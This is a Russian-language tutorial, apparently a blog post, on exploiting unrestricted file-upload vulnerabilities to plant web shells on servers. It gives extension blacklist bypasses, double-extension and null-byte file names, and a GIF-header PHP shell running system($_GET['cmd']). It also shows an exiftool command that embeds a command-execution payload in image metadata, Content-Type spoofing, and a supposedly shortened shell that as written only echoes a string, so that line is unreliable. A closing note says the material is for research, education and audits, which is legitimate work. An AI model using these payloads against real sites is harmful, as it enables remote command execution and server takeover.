Некоторые динамические веб-сайты позволяют пользователям загружать файлы, изображения, песни, фильмы и т. д.
Такие сайты, как например Facebook и Linkedin позволяют своим пользователям загружать изображения профиля и резюме.
Загрузка файлов имеет решающее значение для многих веб-приложений, и в то же время это большой риск, если при загрузке файлов не реализованы надлежащие меры безопасности.
Введение
Сегодня мы обсудим, как хакер может использовать уязвимость неограниченной загрузки файлов для взлома веб-сайтов и серверов.
Перед тем, как начать!
Важно знать основные сведения о веб-оболочках и уязвимостях загрузки файлов.
Злоумышленники используют веб-оболочки для различных операций, таких как выполнение команд оболочки, удаление файлов, создание файлов, загрузки файлов и т. д.
Обход черных списков
Расширения файлов
Разработчики заносят в черный список определенные расширения файлов и запрещают пользователям загружать те файлы, которые считаются опасными для сервера.
Но этого можно обойти, изменив некоторые строки в расширениях для загрузки и выполнения пэйлоада или веб-оболочки.
ТИП | Extensions |
PHP | .pht, phtml, .php, .php3, .php4, .php5, .php6, .inc |
JSP | .jsp, .jspx, .jsw, .jsv, and .jspf |
Perl | .pl, .pm, .cgi, .lib |
Asp | asp, .aspx |
Coldfusion | .cfm, cfml, .cfc, .dbm |
.pHp, .Php, .phP
Обход белых списков
В белом списке указна только определенные расширения, которые сервер принимает в качестве загрузки.
Например, веб-сайт, на который необходимо загрузить изображение профиля, которое может содержать форматы JPG, JPEG или PNG.
Apache позволяет загружать файлы с двойными расширениями.
Это означает, что мы можем обманом заставить сервер принять оболочку, которая в конце также имеет расширение PNG.
shell.php.png
shell.php\x00.jpg
Другой способ обойти белые списки – это манипулировать заголовками типов файлов.
Если определенный веб-сайт принимает изображения, он также принимает изображения в формате GIF.
GIF89a; <?php system($_GET['cmd']); ?>
GIF89a;
?>
Данные EXIF
Этот метод позволяет нам обойти ограничения загрузки файлов, используя данные EXIF в изображении.
Добавление комментария, содержащего PHP-код, будет выполняться сервером при обработке изображения.
Вы можете сделать это с помощью gimp или ExifTool
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.png
mv image.jpg image.php.png
MIME-type
Внесение типов MIME в черный список также является методом проверки загрузки файлов.
Его можно обойти, перехватив запрос POST на пути к серверу и изменив тип MIME.
Обычный тип PHP MIME:
Content-type: application/x-php
Заменить на:
Content-type: image/jpeg
Другие методы обхода
В некоторых ситуациях длина содержимого также может вызвать проблемы при проверке загруженных файлов.
Для этого команду шелла PHP можно сократить следующим образом:
<?='$_GET[x]'?><br>
¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.